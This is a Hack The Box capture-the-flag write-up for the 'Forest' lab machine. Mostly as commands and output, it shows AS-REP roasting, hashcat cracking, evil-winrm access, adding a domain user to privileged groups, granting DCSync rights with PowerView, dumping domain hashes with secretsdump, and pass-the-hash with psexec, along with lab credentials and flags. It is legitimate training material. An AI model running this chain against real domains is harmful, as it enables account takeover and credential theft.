Forest (HTB) - Writeup

This report details the compromise of the Forest (HTB) machine, including enumeration, initial access via AS-REP Roasting, privilege escalation via group membership, and DCSync attack to obtain DA privileges.

Enumeration

Nmap:

```
┌──(ziliel㉿ziliel)-[/media/…/Writeups/OWN/Forest/scans]
└─$ sudo nmap -Pn -p- -T4 --min-rate=1000 10.129.169.38 > nmap-ports.txt
```


```
┌──(ziliel㉿ziliel)-[/media/…/Writeups/OWN/Forest/scans]
└─$ sudo nmap -Pn -p- -T4 --min-rate=1000 10.129.169.38 > nmap-ports.txt
```


found (FQDN: FOREST.htb.local)

enum4linux:

```
┌──(ziliel㉿ziliel)-[/media/…/Writeups/OWN/Forest/scans]
└─$ enum4linux -a 10.129.169.38 > enum4linux.txt
```

found (usernames: sebastien, lucinda, svc-alfresco, andy, mark, santi)

automated AS-REP Roasting:

```
┌──(ziliel㉿ziliel)-[/media/…/Writeups/OWN/Forest/scans]
└─$ while read p; do python3 /media/ziliel/SANDISK-256/scripts/impacket-0.12.0/examples/GetNPUsers.py htb.local/"$p" -request -no-pass -dc-ip 10.
129.169.38 >> hash.txt; done < usernames.txt
```

found TGT-hash for svc-alfresco

hashcat:

```
┌──(ziliel㉿ziliel)-[/media/…/Writeups/OWN/Forest/scans]
└─$ hashcat -a 0 -m 18200 hash.txt /usr/share/wordlists/rockyou.txt
```

found (creds: svc-alfresco:s3rvice)

Initial Access

evil-winrm:

```
┌──(ziliel㉿ziliel)-[/media/…/Writeups/OWN/Forest/scans]
└─$ evil-winrm -i 10.129.169.38 -u svc-alfresco -p 's3rvice'
```

found (user.txt):

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> cat user.txt
d754f1c318c463d6fa4d190d58f6bac7
```

PrivEsc

Manuel Enum:

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> whoami /groups
```

found (Group: Remote Management Users)

The found group gives our user the privilege to create new users and give them higher priviliges! We create a new user john and add him to high privilege groups.

Creating a john and giving them high privileges:

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> net user john abc123! /add /domain
The command completed successfully.
```

Adding john to privileget groups:

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> net group "Exchange Windows Permissions" john /add
The command completed successfully.

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> net localgroup "Remote Management Users" john /add
The command completed successfully.
```

Uploading PowerView.ps1:

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> upload PowerView.ps1
```

we will need the Add-ObjectACL function from PowerView to give john DCSPrivileges.

Running PowerView.ps1:

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> . .\PowerView.ps1
```

Using Add-ObjectACL with johns credentials and giving him DCSync rights:

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> $pass = ConvertTo-SecureString 'abc123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('htb\john', $pass)
Add-ObjectACL -PrincipalIdentity john -Credential $cred -Rights DCSync
```

secretsdump:

```
┌──(ziliel㉿ziliel)-[/media/…/Writeups/OWN/Forest/scans]
└─$ impacket-secretsdump htb/john@10.129.169.38
```

using secretsdump with john will dump all credentials on the domain because of johns DCSPrivileges.

psexec:

```
┌──(ziliel㉿ziliel)-[/media/…/Writeups/OWN/Forest/scans]
└─$ impacket-psexec administrator@10.129.169.38 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a
07ceea6
```

we coppied the admin passwd NTLM hash and connected through pass-the-hash technique with psexec.

Found root.txt:

```
 Directory of C:\Users\Administrator\Desktop

09/23/2019  02:15 PM    <DIR>          .
09/23/2019  02:15 PM    <DIR>          ..
07/05/2025  08:51 AM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)  10,435,629,056 bytes free
```

Tools Used

- nmap
- enum4linux

- GetNPUsers.py (Impacket)
- hashcat
- evil-winrm
- PowerView.ps1
- secretsdump.py (Impacket)
- psexec.py (Impacket)
- This box reinforced my knowledge of AS-REP Roasting and privilege escalation via group membership and DCSync. It also gave me hands-on experience with PowerView and pass-the-hash attacks.